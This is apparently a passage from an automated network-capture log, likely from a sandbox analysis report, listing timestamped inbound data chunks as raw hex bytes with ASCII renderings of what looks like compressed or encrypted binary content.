fd 12 Data Ascii: ns&$Bk {}I6=vo/G_SxgTzh(ol}e_r4`U!Y%qewF!ZsGu\|!FnTZcq!9>N/E8~b%230*#lYc-gci5Sytnk=6YYJzf:~$xm=-0-
2022-08-31 12:29:00 UTC	1975	IN	Data Raw: 82 f8 08 46 4f 2e 0a 32 78 7a 52 5e 4f 4f 89 00 22 c0 08 82 ce 66 af e6 0f 06 de b4 5a 4b 0b ba d1 7e c1 54 cc c7 2a 3f 13 f8 6f 63 8d 5a 04 56 47 74 1a d8 ff f1 4a b9 91 17 78 f4 e2 9a c7 ba 3f f0 f5 a4 21 bb 62 dc 41 db 2b a6 7a f8 15 83 a6 d9 b8 e1 69 3f 62 6e 2c 4d 1a 02 32 96 47 88 c8 49 73 78 23 24 6e 94 6f 9b f4 33 16 03 8e 6f 0d 0f 5e ac f2 21 ac 6d ff 55 28 bd 5d 19 ad ae 6c 37 17 a5 70 c9 6e 2d 96 29 8f 51 50 41 32 18 c7 3a 9a 30 67 fe 5b 17 28 35 53 46 21 66 f1 0c 57 7d 09 2e 07 43 17 3d 95 84 09 3b b3 ed 10 4c eb 13 83 03 b3 90 ed df a3 87 72 20 d3 d4 40 d0 c6 b8 2d 8c 30 a8 67 56 20 3c e0 cf 10 db 5b 1f 39 bb eb d1 21 26 c0 61 e2 f6 fc 98 f1 f5 a4 c5 11 5c c9 ef 65 b0 c8 d2 22 a3 be 60 7f e0 ea 17 b5 3d f0 12 ba f6 a1 9d f9 de 67 3b 71 57 38 Data Ascii: FO.2xzR^OO"fZK~T*?ocZVGtJx?!bA+zi?bn,M2GIsx#$no3o^!mU(]l7pn-)QPA2:0g[(5SF!fW}.C=;Lr @-0gV <[9!&a\e"`=g;qW8
2022-08-31 12:29:00 UTC	1991	IN	Data Raw: 3d 97 1c ab 4f 8e 62 c1 05 3b 54 cc d7 a3 0b dd 9f 1b 04 d0 0a 9c 01 1c 53 4e 9d ad 8b 59 37 60 4f b7 3f 15 7c 4c d9 6f 48 4d fe 1a ca 01 88 42 76 26 95 61 49 bb 26 52 f9 88 06 d9 fc f6 cb 3d d1 24 9d 2c ba 16 a2 67 73 78 53 9f c1 6e f2 64 0e 6c 66 60 18 04 86 e9 e5 2b 4a 6e 8c c2 b3 62 f5 40 eb 98 6e 95 c1 12 51 03 a0 e4 0d 65 8e 4f 7e 42 d2 2b 93 3a d4 3f 91 fd b3 17 b6 8b cd eb 7d 82 c0 66 ef 52 8e 3a d0 f2 07 f3 b4 50 e9 fd 60 65 b1 af 85 41 59 97 a0 8c f8 6c 73 17 b1 09 2a 91 eb 7e 4c 51 11 7c 81 3d 7c 74 09 cb fb 7a ae cf c8 db 56 f2 7b 04 7e 24 a4 fa 77 43 3b 9b 54 a0 0c 42 1c 23 d8 0c c5 1b aa 30 cb 72 83 36 30 4b d6 18 b4 90 ff 14 dc 11 b3 90 34 ce 30 55 bf da 68 aa 1a 3a 1d 40 3b 6f 2e 51 39 9c f0 74 34 ef ca bf 16 db df eb 8d f6 21 9d 9b c7 18 Data Ascii: =Ob;TSNY7`O?\|LoHMBv&aI&R=$,gsxSndlf`+Jnb@nQeO~B+:?}fR:P`eAYls*~LQ\|=\|tzV{~$wC;TB#0r60K40Uh:@;o.Q9t4!
2022-08-31 12:29:00 UTC	2007	IN	Data Raw: 47 33 f4 fa bd 64 42 50 0d 31 ae c6 59 04 42 c9 67 5f 06 3b a2 d9 10 9b c2 3e 02 5f d0 2f 77 28 6a c5 da 4b 77 e0 71 43 9e 37 2a cb f5 cf 2b 88 6f bf a6 c9 7d bb 6a 4a 04 50 5d a4 70 d9 90 e6 0d d7 15 a8 88 c1 e5 f0 12 5b 08 a4 cc aa 3f 04 f1 00 16 9f f0 b0 2c 83 cc f0 9b 28 db 0b fd 2b 6a 08 4a c3 40 d2 86 fe 22 15 0d 45 5f 7b ec 72 a7 e9 11 86 17 e6 16 8b 56 8b cf fa 40 e0 70 ad 80 ce 35 2c 5d 1f 48 f4 a7 0f bb d9 c4 ae 7e 89 e8 20 2e e3 2e f4 f6 80 cb e1 45 eb 25 4b dd c4 a7 f2 65 39 3d 35 16 ca ea f8 d8 6d d3 4b ef 05 8c 8a 05 a1 dd c5 a4 aa 18 16 d5 0f 3d 73 2f 66 fe 9e 56 3d 6c 18 ec b2 5b b2 87 3a e1 74 a5 14 57 35 9c 68 81 95 bd f4 e0 4f 17 56 38 e1 d7 4b 41 91 8a 33 c6 e8 d1 b6 bb 17 d6 3f bb dc 2d b8 71 be ed 1b 39 5a 50 94 18 c3 ef 21 59 ec f6 Data Ascii: G3dBP1YBg_;>_/w(jKwqC7*+o}jJP]p[?,(+jJ@"E_{rV@p5,]H~ ..E%Ke9=5mK=s/fV=l[:tW5hOV8KA3?-q9ZP!Y
2022-08-31 12:29:00 UTC	2023	IN	Data Raw: 56 b2 fe 72 7f 26 f4 90 74 71 96 56 9e c0 2b 8f 2b dc f9 b1 cf 8e 96 fa 0f 76 98 87 0f 04 5c 41 8f cf e5 e7 1d ea 79 54 db 8e a8 4f a3 cc a6 ab 95 e4 f3 55 9e ee 4a fe 39 a8 fb e2 3e c9 31 6c 39 78 99 74 a4 59 5b 2f 25 ef ae 75 49 6d c2 06 40 f2 f3 4b f8 0c 27 fe db f9 1f 18 f2 ce c6 dc 21 84 45 53 89 27 1f 6b a8 6e a5 2c d8 5f 64 ca df 0e 44 e1 e8 fc 6f 8d 6d ba f1 0a 13 fd fc 22 3d 5b 03 14 a8 68 3e 16 df b1 9f 3a aa 20 fd 39 56 64 b3 86 70 04 a7 45 2a 53 13 2a c6 f4 ca 8d c0 c1 73 31 86 e3 43 3b c6 a4 20 81 7f 02 77 00 a7 d1 d0 40 f8 ce 2d f3 fe f7 20 d1 20 55 ed 1a eb e3 df fe 55 c5 ee 86 c3 be d7 3b d5 be 98 51 b7 1a 59 ee 39 1c b9 41 2b 60 be d8 25 59 14 4b 27 02 f9 25 b4 f2 b4 16 21 33 a8 09 5b c5 10 76 67 0b 48 d9 d2 cb 95 3f 71 06 38 83 5d 8c 48 Data Ascii: Vr&tqV++v\AyTOUJ9>1l9xtY[/%uIm@K'!ES'kn,_dDom"=[h>: 9VdpESs1C; w@- UU;QY9A+`%YK'%!3[vgH?q8]H
2022-08-31 12:29:00 UTC	2039	IN	Data Raw: 74 5c b9 1f ce 95 b9 97 76 13 51 cf b8 04 6e 4f 43 44 a4 39 38 7d 28 a2 7d f9 f1 9c 61 21 f6 a3 4d bd f3 ef c8 31 15 ef 81 e6 b0 51 2d 0e c3 88 9e 42 cf 63 a8 05 4b c6 6d fe f0 80 e7 f3 7c 7d 88 7e d2 26 43 6c 2d b3 f9 53 71 3c 8d 66 43 44 19 04 b4 fe 1b 76 fc 6f 79 b7 e6 58 3c 12 70 4c a6 b4 f5 2d 32 e5 0c 23 a6 4a f9 92 de 87 49 ac a7 dd bf dd fd 32 e5 42 42 0c 4f 77 f8 66 cc 81 65 1d 8f c0 6e 7d fb 8c 69 4b 0e 25 f5 39 e1 d9 08 9a 4f e1 97 12 7b a3 c2 31 64 84 82 d9 de f3 da f5 89 84 eb 0e c1 86 a1 99 d8 90 72 67 91 01 48 9d 87 42 79 d1 25 f8 b0 f2 04 c8 1c 98 fa 0e 1a 0f fd c6 95 b4 e0 89 ba e4 21 00 03 22 c4 80 64 b1 e5 e8 2e 41 67 4f a0 0a fc 11 1c 99 19 fa 27 3e 6c 92 a3 ad 44 26 af 55 d0 5b c7 b2 6e 77 29 44 66 82 65 c1 3d a2 c8 ec a7 9b 55 e7 0d Data Ascii: t\vQnOCD98}(}a!M1Q-BcKm\|}~&Cl-Sq<fCDvoyX<pL-2#JI2BBOwfen}iK%9O{1drgHBy%!"d.AgO'>lD&U[nw)Dfe=U
2022-08-31 12:29:00 UTC	2055	IN	Data Raw: 51 3e fe 6e ce 4e 49 29 96 fe b6 5a 52 8d 8d 50 e5 33 9f b3 c2 fc ca ba 59 70 19 b9 70 11 3b 92 ca 5a 81 f7 97 24 6f a4 da 6c 9c 03 7b 8d dc c9 e3 00 f7 d2 a6 c0 ff a5 51 00 ca 5b ee a8 2e 2a 3d 37 63 72 34 cc 90 32 34 fe f2 d9 87 3c aa c9 7b 05 9a 06 85 46 0e 8c 64 8c e5 2f d0 92 9e 98 5d aa c8 14 23 a0 7a 4a 38 cb 6a fc 1d 32 e5 82 dc 27 da f7 0a 5e 11 5e 34 37 be 39 98 d6 50 9d 22 75 7f f1 6a 08 7a 0e 32 53 87 d8 4c f7 c2 9f f3 1c 99 86 91 4b 90 e4 5a 89 0a 95 e8 ce 2a 9f a8 b3 8c 47 86 c6 fa 75 66 97 31 63 ce 45 cd 1a 8c 7f ee 82 cc 13 ae 77 51 73 a1 08 65 90 6c e9 d5 98 61 3b 76 78 c8 17 46 0b b2 c1 d0 7e 3e df 13 16 ed 21 cb d5 5b 15 b3 f8 05 a3 7e ca 33 aa 6b 43 3f b1 14 93 9a 62 05 3e 20 66 b5 64 c4 e5 2f d9 2e 15 8c b4 cf 16 fb 9a 7f 06 2e 9a af Data Ascii: Q>nNI)ZRP3Ypp;Z$ol{Q[.=7cr424<{Fd/]#zJ8j2'^^479P"ujz2SLKZGuf1cEwQsela;vxF~>![~3kC?b> fd/..
2022-08-31 12:29:00 UTC	2071	IN	Data Raw: 5f 88 6a 2a 2f 07 c3 32 b7 1d 40 29 9f 13 90 70 9d ca b2 65 ab 8b de 5b 0a 3a 37 98 ab 9e f1 52 cd 62 6d 5f a9 99 f8 74 0c b4 89 e9 3a 00 bc 05 2a 7d 6e fd 95 c8 de cf 82 70 86 83 c9 5d 68 e2 ee ef 78 31 63 fe ca aa 08 88 00 85 bb 27 86 25 51 0a 59 8b 98 65 7c e8 a5 d8 ff 52 0d fa d6 79 c8 5f a7 6f 50 4e 1a 27 57 50 c0 c2 68 3a b0 e6 43 11 63 5d d0 6f b9 4f 40 c9 7e dd 05 4e 8b a2 34 37 39 6d 00 3c 73 71 fb e6 84 91 78 bb 31 f2 e3 44 23 10 e0 ea 75 d5 b7 9f ab 2f ac 8c 94 90 ac 03 de 82 c7 46 69 c1 f8 2d 8e bb d4 2b f5 5d c8 9a 71 1c 36 f9 9c 3b ea ce 46 0a 71 de 4a fa cb 3e 9a be 37 c4 5e 79 e8 ba 99 ad 44 71 f1 39 36 34 c0 41 68 b0 7d e5 6e 46 5a cf dd 74 e4 f1 73 a9 38 8c f6 89 0b 7b 14 a9 45 92 1c 0a f2 ff 72 6a b5 7f 41 41 22 eb 54 40 d7 e9 aa 5a 78 Data Ascii: _j/2@)pe[:7Rbm_t:}np]hx1c'%QYe\|Ry_oPN'WPh:Cc]oO@~N479m<sqx1D#u/Fi-+]q6;FqJ>7^yDq964Ah}nFZts8{ErjAA"T@Zx
2022-08-31 12:29:00 UTC	2087	IN	Data Raw: ae 54 b0 ae 02 8c 5c 9e fb d5 45 a6 2e 01 ea 16 fb b4 e9 c9 28 aa 3e 9d ee f6 8d 33 34 26 e3 da fd c5 1b a8 8c 67 1b 53 ea 75 5d 85 73 26 bd f2 6e 4b b6 c5 9d 87 c3 4e e9 74 59 fc 25 f3 a5 0f 60 8c 63 7d 67 4d f6 4a ef d3 dc b1 d6 8a e5 00 13 df fb 89 44 d1 6c 31 e6 e2 42 21 f0 32 23 30 79 39 93 8f db b4 4f a1 55 2a b5 45 0a cb 21 3f 51 1a e4 df 08 c2 1a e7 ce 79 42 71 b6 f4 8e 7f ff 54 ca 53 bd c8 b0 35 8d a4 48 cf 00 b3 04 26 88 2e a9 0c e2 16 c6 91 79 de dd 34 24 f0 7a c2 07 c3 79 3f ff b2 3a 35 62 67 89 ca 98 f3 fb 3d 35 65 4f 17 e0 be 66 6f af 39 f7 15 70 26 e9 63 31 51 38 ad 68 01 8a 15 57 3a d0 3e ea 4e 50 34 a7 2a 9b 7f 2b b5 c5 72 b3 23 38 e6 93 d7 4f 9c 02 98 b6 d0 dd 66 78 70 e8 15 d9 4e c0 64 ea 7a 60 84 58 20 0c c3 22 62 2e 64 37 4f ff 69 65 Data Ascii: T\E.(>34&gSu]s&nKNtY%`c}gMJDl1B!2#0y9OUE!?QyBqTS5H&.y4$zy?:5bg=5eOfo9p&c1Q8hW:>NP4+r#8OfxpNdz`X "b.d7Oie
2022-08-31 12:29:00 UTC	2103	IN	Data Raw: d9 61 b5 f9 98 a3 19 73 df 1d a2 b6 dd 12 62 36 65 bd c5 e3 27 40 1f 45 af 65 ee 4e 06 db 10 77 ce 01 d8 88 77 5a f9 10 ef 59 79 42 b2 50 ad 80 b9 1d 29 43 c6 84 5b d5 a5 f0 0c 1b 00 37 4a 31 89 ba ea da 54 0f f1 e4 22 f6 7d f5 34 46 4e 63 55 88 7d b9 59 fe ab dc 23 62 b5 8a 03 e7 7f 7e fb b6 74 f5 29 80 d7 2b d3 6b 6f 61 02 d0 03 2a 30 2d 92 3a 7c 1a 53 6d 31 28 11 7f 50 13 df e7 83 45 66 5d 3d 42 27 ae 67 0b 66 94 b9 01 1e 29 33 e8 60 8b de f6 c3 17 98 b1 ca e9 3a 15 bc c3 e6 64 13 64 7f fe b9 ee 67 9f e8 a3 d1 60 73 d6 e3 2e cf 92 27 a1 a4 dc e3 62 ca 17 85 44 af 37 13 d4 11 c3 9c 08 02 e8 35 c7 a7 a2 f7 9b 4d 76 40 ad 38 6b 36 21 38 7f bf 09 78 0f 5c 09 a5 32 9c 98 2b 30 06 6f 70 f8 d4 92 ea 33 3b b8 ec 16 6a cc 57 6e fc 45 13 0f d8 60 02 29 09 87 7d Data Ascii: asb6e'@EeNwwZYyBP)C[7J1T"}4FNcU}Y#b~t)+koa*0-:\|Sm1(PEf]=B'gf)3`:ddg`s.'bD75Mv@8k6!8x\2+0op3;jWnE`)}
2022-08-31 12:29:00 UTC	2119	IN	Data Raw: fe 4a 14 62 9d 55 bc 85 53 4f c1 6d c0 99 ce 58 23 72 46 01 e2 72 4c d7 2a a1 c8 67 df d4 ae 2b 9f 3b a2 fb 57 b4 85 0e 4b 4e 12 a2 b1 ed b6 3a 27 a4 48 4d 48 10 72 4b 8d 51 2e 53 64 8a 04 4c 34 66 0d 8c 7b a5 ae b2 ad 65 a0 b7 f4 d8 b8 83 a3 ee 6f 8d d6 7d 6a 59 17 65 67 18 e2 78 6c 1f ff 50 51 9c 84 1a a5 30 92 04 98 cf f2 d9 4a 47 3d ba 0e c2 95 7e a4 5c 72 96 ef 61 7e f7 ed 57 d8 ef 66 0e f5 aa 00 bc 34 8b 7b 3a 17 44 85 a7 a1 f6 a1 ae 3d bd 5d 34 07 17 de c7 ad b7 2b 7c 28 74 ba b8 78 5b f3 20 b9 17 c1 94 6d a9 2c 18 f9 e9 34 69 66 61 32 48 ac 03 dd 5e 2c 14 d2 45 ce 5d ee 7f 68 bc e6 62 0b 61 d5 12 88 1b 06 9f 4d 3e b9 68 5d 06 f5 5c 13 fe 41 e3 88 c0 ba 64 e6 7b 90 3f 06 f0 31 bd fb bc 30 b7 98 e4 9a 1f fb 11 ce 64 e1 3b fa f8 c9 47 d0 4c bc f7 f5 Data Ascii: JbUSOmX#rFrL*g+;WKN:'HMHrKQ.SdL4f{eo}jYegxlPQ0JG=~\ra~Wf4{:D=]4+\|(tx[ m,4ifa2H^,E]hbaM>h]\Ad{?10d;GL
2022-08-31 12:29:00 UTC	2135	IN	Data Raw: 78 0d 1e da 72 64 e3 d7 92 e2 86 cf e8 a9 d0 18 b9 78 36 c0 6e 86 b9 98 27 71 ff d1 0a bb a0 d3 b9 f7 2f 6c 82 78 0d ba 77 05 e2 bb 3f b7 c9 d0 eb 7f fa 67 55 76 4f 81 b3 ac 07 1e ae d6 1e c9 99 97 1a 91 33 8b ee e4 6e 17 92 d2 96 51 8c 2d 3d 8e 49 ec 70 a4 63 fd 05 e0 26 13 c0 38 69 9a c7 ea cf 9a 69 f5 d3 4f 29 f4 17 24 74 b3 75 10 5f b8 68 64 4d a9 62 b8 ba ab 58 ed 4c 10 b6 b4 77 27 34 54 f3 56 1b 64 0e 11 db 90 93 84 d8 48 84 0a 89 ca e7 17 fa 9f 88 82 5d 11 99 9e 7b 48 1b eb 7c d8 b1 7c 18 8b 37 91 af 05 8c e7 28 bc e9 b2 c1 02 ae 36 54 42 2d e7 ed 9e cb cc 60 46 4a f3 2d c0 16 2c 58 e7 a7 f7 d5 88 64 7d e6 85 1d 21 0a 85 c4 b2 d5 5a 6b 42 bb d5 2a 08 ad 08 5c 53 58 ed c3 f5 bf f5 c8 40 96 34 e6 ce 20 85 5d ba de 47 3d d1 b1 4c 6a 68 f6 5e de b4 c7 Data Ascii: xrdx6n'q/lxw?gUvO3nQ-=Ipc&8iiO)$tu_hdMbXLw'4TVdH]{H\|\|7(6TB-`FJ-,Xd}!ZkB*\SX@4 ]G=Ljh^
2022-08-31 12:29:00 UTC	2151	IN	Data Raw: bb 09 c2 ee 46 ac 90 10 5b 99 db ec 82 ce 16 52 43 a0 05 01 1e 19 8b d2 e6 da 69 b6 89 b9 32 0c 58 5a 4f a1 39 d7 35 19 73 e1 f3 56 ab ef 7a 8e 25 63 db fc 50 c6 33 29 1c 84 29 f9 8e 6f 33 eb 33 ca 7a cb 27 28 ba 73 d9 b0 c6 f3 90 98 29 e5 5c 76 39 fd 04 e9 18 e9 67 a6 29 70 5e 05 43 3c 34 2e ca 13 38 f4 ec 1b e8 42 83 3f 32 98 b8 22 b5 8f 6a 39 97 5a 9f 09 43 09 b9 43 c9 22 8d f9 d6 59 f9 2b 88 4b 50 f7 81 94 dd 6d 6c 7c 5f 3e b9 50 02 e5 44 6f 19 57 1c 5c d5 f2 db e5 23 fc e6 28 33 6f 31 2c b9 87 3f 8a b1 a6 60 43 00 e5 40 c0 6b c5 37 12 08 7d 4b 68 47 8d 44 5d c9 51 ac 40 05 a0 2c 12 f8 94 b6 e3 92 5c c0 99 d6 fc 33 b0 17 9a 78 93 21 89 73 66 34 87 91 c3 77 cb 79 1d 8e df 01 aa 64 c2 cb 13 94 58 e9 58 51 ca 1e 8d d2 75 f9 fd 7a 72 10 40 a1 49 cf 9d ee Data Ascii: F[RCi2XZO95sVz%cP3))o33z'(s)\v9g)p^C<4.8B?2"j9ZCC"Y+KPml\|_>PDoW\#(3o1,?`C@k7}KhGD]Q@,\3x!sf4wydXXQuzr@I
2022-08-31 12:29:00 UTC	2167	IN	Data Raw: 11 19 18 36 f8 d6 6d 1c 0e 5e 8d a9 09 50 e1 1d b0 0b 05 0b 00 50 f2 48 eb 89 38 da 3d a3 2e 38 1e 1f 05 ef 78 f0 11 23 c1 6a d5 94 45 87 89 16 87 87 26 49 39 45 b5 12 77 9b c6 36 8a 5d d3 b6 db 2a 17 f7 c2 47 62 47 2a a5 78 1e 0f 99 8a 81 17 8f d6 e3 b4 8e d3 71 20 f3 db ea 82 4c 61 e8 2a 58 28 0c dc 11 83 b8 7d 42 88 b3 d8 6a 9c 1d d4 7d bd 7a 74 94 2d 2b 50 ce 92 23 8a ce 72 53 55 8c 1e cb 56 4d ed f5 64 89 fc 12 0e d1 b3 45 8a e1 14 b5 5a 2e 01 6b f2 30 c7 64 3b 5f ab 09 a5 a6 82 44 41 fa cd 51 39 60 5d b0 9f 98 a2 4c 4d f9 60 2f 6d ff e4 9c e3 3c 86 a0 13 f2 c8 48 4d 13 75 7f 50 00 91 99 2f 2d 7e c5 40 90 9c 37 a2 4b b9 a6 01 03 d8 63 73 3a bd 85 a1 8b 76 bc aa 1c 82 1e d2 1c e0 5d 3a 29 0b 49 2f 43 73 57 95 25 22 77 c8 21 84 3d ac 52 72 65 7f 81 d5 Data Ascii: 6m^PPH8=.8x#jE&I9Ew6]GbGxq La*X(}Bj}zt-+P#rSUVMdEZ.k0d;_DAQ9`]LM`/m<HMuP/-~@7Kcs:v]:)I/CsW%"w!=Rre
2022-08-31 12:29:00 UTC	2183	IN	Data Raw: ed 90 96 a1 85 a1 c3 4b 65 1f ee 79 12 8b 69 94 95 be 70 76 e5 af b3 f7 56 cd d7 0f 22 de 5a c1 fa 8c 72 c6 76 8b b1 40 a4 b8 97 db cc 3e cd 2e 9c ac c5 86 06 29 36 3c 26 99 79 a0 d7 ca 13 f7 da 74 0c 79 eb eb 0e 44 50 db 72 04 f0 d9 5f 96 ed 4c 48 54 1d 90 20 b6 d2 56 59 bd 8e fa bc 51 93 8f 89 67 06 3b 37 36 c4 86 7b 31 bb ab 60 ab 31 ed c9 95 4d 79 ae 21 22 4f 40 15 cd 92 d5 e6 89 40 9c af 79 da 82 35 f7 ab 43 44 e1 a8 6d 03 59 fd 10 d3 9b c3 1c ae e4 b1 97 1d c1 cf 4b 76 8b 7c 69 dd a8 8b cc c1 62 8e de e8 49 f8 19 c6 d2 b0 6e 99 27 2f fb 2b 8b 27 88 54 73 45 ef f5 cb af 36 cd 78 72 19 e6 0e 93 cc 61 02 b8 05 c5 66 b9 7a 52 de a0 63 86 08 09 ca fc 83 c0 2b df cb 8e 8b b4 80 61 d4 54 ff e9 c3 20 73 8d 11 b5 d4 e6 eb 23 ef 96 e2 d6 d3 27 ac d5 f2 60 42 Data Ascii: KeyipvV"Zrv@>.)6<&ytyDPr_LHT VYQg;76{1`1My!"O@@y5CDmYKv\|ibIn'/+'TsE6xrafzRc+aT s#'`B
2022-08-31 12:29:00 UTC	2199	IN	Data Raw: fe c6 f2 76 46 ff cd 3a 35 1a 5c 32 5d 45 bf 5a 3e 4a ce 6d cc 7f 1c e8 cc 1c b7 7b 05 45 6b e7 e6 d0 7e a1 2f 3c a1 60 45 69 e6 63 ee 41 7b 3e 4b 78 55 8c cf 1d 21 fc 88 d7 37 fe aa 30 9f 93 cc c5 1b a1 47 ff cf c9 a3 b4 9c 68 36 19 45 88 87 73 02 26 11 65 29 87 e8 4d 7f 7a b1 58 96 fa 50 62 eb 0e 3b 85 12 24 81 87 58 fd 04 e1 66 0e 50 ab bc 5d 0e db bf 87 a5 73 3d 33 e7 42 0c c0 33 27 b8 43 bf de 08 3d 17 1d bb e7 4c 71 b0 00 1c c6 75 91 95 4f 89 06 34 c0 47 76 f3 5d 3d 46 ad d5 ae d0 81 d7 f4 96 35 eb 9a 8d fe 28 a8 e5 d9 e7 08 61 28 40 02 24 e2 15 55 17 73 5a 7d 94 f8 5f 07 90 c7 89 82 c9 f7 f6 bc 0d 92 a3 ab ae 8d 61 4f 17 06 5a 46 7b 62 c0 d8 fa 8a 94 ce d2 d6 29 ad 0c 8f 43 5c dc da f7 8f ac 6d 0a 6a 1c d9 8d 34 23 ff 31 f5 8f 1a 54 5f 3a 9c 01 10 Data Ascii: vF:5\2]EZ>Jm{Ek~/<`EicA{>KxU!70Gh6Es&e)MzXPb;$XfP]s=3B3'C=LquO4Gv]=F5(a(@$UsZ}_aOZF{b)C\mj4#1T_:
2022-08-31 12:29:00 UTC	2215	IN	Data Raw: 10 43 89 cd db 7e cc 1d 98 c8 d5 b1 82 fa 08 14 b3 6f 62 86 70 7a 47 e2 4b 18 18 42 59 fd 05 1c a3 5f 23 27 61 02 92 47 b6 75 26 71 bb d9 52 e7 26 e1 ba 41 84 be 55 20 fd 1b 02 5d 79 8e eb 0f ff 9d 26 78 01 f3 3b 7a cd 07 5b bd b3 6d 7e fc 2d 45 81 27 05 5f 84 1c d7 72 8b a7 80 a6 16 fe ef e0 a5 c1 19 3e af 47 ed b7 81 26 41 6c 4b 74 3e ff 8e 98 b3 91 10 5e 4a 9f d8 58 5b f6 14 a0 02 e7 66 7c 01 8e 91 c8 38 ef db 61 17 9e ad 25 20 1c ca cb 34 58 b1 1d 61 91 43 33 ec 30 9c 51 2d ec 71 f9 79 dd 15 c5 fb 09 ed f9 46 15 30 39 8f 03 e6 1b b0 54 a2 cf 23 47 17 9d f9 1b 39 3a ba c6 57 28 db 7e f0 a1 13 ae e0 e6 ad 91 b0 5b 4e 6d 62 af 45 b6 c8 2a b4 4a 79 d7 27 49 dc 4d b7 e9 b2 95 5f 3d b3 da f4 f7 0f e3 49 41 e2 dd 8f d4 f6 93 75 10 35 0a 88 c4 dd a2 f4 b1 3e Data Ascii: C~obpzGKBY_#'aGu&qR&AU ]y&x;z[m~-E'_r>G&AlKt>^JX[f\|8a% 4XaC30Q-qyF09T#G9:W(~[NmbE*Jy'IM_=IAu5>
2022-08-31 12:29:00 UTC	2231	IN	Data Raw: 81 30 3d 18 89 03 97 e2 ce e6 2d f2 81 02 f6 5e cb 6e 75 86 02 49 cb 7f ed 8d c2 b8 68 20 88 d7 36 4d 83 1f 1d 69 c5 a5 75 59 f2 72 c3 8e b3 06 1b 57 08 f1 37 7f 02 59 9b 8a 10 2b 6b 14 19 a2 cf bd d5 fb a6 af 34 f7 42 45 1b 5d 8c 3b 46 8b dd cb 38 50 63 1f 11 30 5f 83 24 aa 17 79 5b 1d b4 71 07 df a1 ea fb c4 79 ad 29 df 8d 36 9c 3e 78 2b 63 dc 97 72 34 52 48 62 9d 4e 96 71 59 95 92 fe a2 7c df 53 ce 52 ff 83 e1 92 3a 6a 71 ce 6c 46 a9 e1 0d f0 ae fb 92 23 27 a3 ac 28 9c 8a 4f 9d 17 03 76 a7 16 e1 b5 fa 51 ec 9d 3a 23 92 db e8 50 b3 65 57 58 86 1e 18 e5 16 91 8e 54 94 08 3f 4f 75 89 8c 78 c9 fa 4d ff 1d 4f c1 7d 17 64 fe 6e d0 ba 61 5c ff ee 0d 0c 8d 33 94 0d 4c 70 88 1d eb 3a 7b e8 5c 9e 76 4d 63 55 a4 1a 4c 0e 84 b4 0d 92 1c 10 1f e1 f7 e1 74 9d 14 30 Data Ascii: 0=-^nuIh 6MiuYrW7Y+k4BE];F8Pc0_$y[qy)6>x+cr4RHbNqY\|SR:jqlF#'(OvQ:#PeWXT?OuxMO}dna\3Lp:{\vMcULt0
2022-08-31 12:29:00 UTC	2247	IN	Data Raw: 90 0b cc 1f 73 08 5f c0 55 e1 92 1f 83 60 74 db 98 a4 a0 c6 74 02 6f 1c 24 c5 de 8f 06 14 b2 19 e3 5a a5 65 ed 22 5a 49 0f e5 63 44 e6 2f 3e 53 34 ab e8 ab 0f e3 b6 b3 e8 61 a3 7a 67 44 b4 cf b0 f4 7c 9e 9c 0f 3d d1 21 e9 98 d0 cb 90 d1 51 13 88 27 78 ea 8b 65 23 43 50 86 03 e5 c8 44 18 be 4f d7 3a 18 67 23 6a 54 0a 86 16 9e 4d 0d 9a e8 fa 0f b7 45 80 f9 0a 51 20 d1 46 d7 c5 fa 3e b4 89 a4 97 74 9c 14 4f b3 c6 eb a2 b6 71 72 5a 48 c5 dc 85 41 56 32 f2 80 6b 34 ca 9f 73 2e be 31 c7 72 d3 80 2a cb 45 f0 87 39 c3 0e f9 02 b1 82 20 ca 3f 1f 24 50 3b f5 3f 40 fc 1f ad d5 0c 09 8a 1f 43 57 8f 1b 14 b9 5c 2d 56 61 b8 57 da b7 91 8e 18 ff f2 e2 f6 d0 34 2e 06 5d e2 e7 8d cd a0 09 5d 92 db a3 4a 6c 65 f9 0c cc 19 c2 b9 cb 69 1c f3 6b 84 35 f4 54 16 b8 8a 32 26 ae Data Ascii: s_U`tto$Ze"ZIcD/>S4azgD\|=!Q'xe#CPDO:g#jTMEQ F>tOqrZHAV2k4s.1r*E9 ?$P;?@CW\-VaW4.]]Jleik5T2&
2022-08-31 12:29:00 UTC	2263	IN	Data Raw: 33 b0 45 78 bf e0 35 47 a0 05 ee 47 2f f1 8d 4d aa a4 52 53 40 39 e8 53 86 4d 2f 95 fc 74 f7 a8 4b 6c 59 80 b0 36 dd a2 86 13 75 78 1d 38 73 8d bc eb 0f 2f 77 83 a1 de ed 3c 31 85 0e 13 74 89 ce 07 35 98 3e ee 71 b9 87 2f 6f 15 98 bc 76 45 18 f6 a9 39 14 e1 b8 89 5c 9e 1c cf bb fd 55 f8 ad 39 05 c0 f3 66 6b 8e 8a a2 2d d9 b3 64 57 65 1e d9 13 97 ec 0b 31 b6 2a ec c2 4d 0d 7a f5 82 91 47 5e 72 23 9b e0 f9 ef 1a 4a f3 83 e4 b7 ee c1 0f 1d 63 fa 80 a3 88 52 1c 14 0c ad cc 13 a5 66 36 46 3c bc 8a c4 61 8e 76 44 94 fc 91 42 94 b9 91 50 07 8b e6 7c 68 88 40 52 fc 20 58 30 19 3a cd 41 24 46 a2 e1 e4 24 e3 c3 2b 62 46 06 0d 93 11 25 55 2c 37 c8 e1 b4 4e 31 ea 89 c7 f9 d6 1b e2 5d 5c 87 83 ee 46 6a 98 18 e6 c6 28 ba c3 3c 0d c2 b3 23 ae 0d b0 ac a7 08 81 e5 e7 0e Data Ascii: 3Ex5GG/MRS@9SM/tKlY6ux8s/w<1t5>q/ovE9\U9fk-dWe1*MzG^r#JcRf6F<avDBP\|h@R X0:A$F$+bF%U,7N1]\Fj(<#
2022-08-31 12:29:00 UTC	2279	IN	Data Raw: 7c 7d 5e 94 e7 0d a8 f8 9a 27 14 14 d7 55 0f 0e 99 66 52 0c ce 1b 93 fc 8d f5 60 cf 3d 15 ee 2b 2a 91 2d 26 2b 88 55 87 39 99 92 1f 30 c6 98 29 66 14 09 b7 8a 5b 02 d9 63 ff 1c 22 73 24 5a 5b d2 53 11 d6 40 8d 2d ef e8 7c c9 b4 21 d1 8b 33 55 87 cf b9 ef 7e 90 82 db e7 50 4f 71 78 4c 40 e2 45 9b ca d8 b8 9e 78 57 b5 de 60 07 ba 58 e1 f0 52 07 7e 88 04 9d 50 e7 41 0d 70 0e e4 c0 d2 91 50 5e a1 16 7e c8 01 ea a1 08 58 29 c9 05 23 ea 0d 5a 94 10 f4 73 25 09 b9 fb cf d5 5e 52 17 4f 27 90 60 68 a0 a7 0e 23 56 74 78 83 bc 4b 3d ec b1 26 83 42 d5 72 57 3d 14 74 b8 13 d4 2e fd 